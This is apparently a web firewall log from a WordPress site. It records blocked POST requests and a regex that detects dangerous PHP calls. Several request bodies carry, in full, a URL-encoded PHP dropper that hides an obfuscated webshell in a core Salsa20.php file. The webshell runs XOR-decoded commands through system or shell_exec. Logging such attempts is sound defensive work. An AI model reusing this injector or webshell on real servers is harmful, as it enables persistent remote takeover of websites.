3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\n\nPV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:54:44","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5235\n\nvW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:55:07","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrKHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5235\n\nyu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:55:18","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 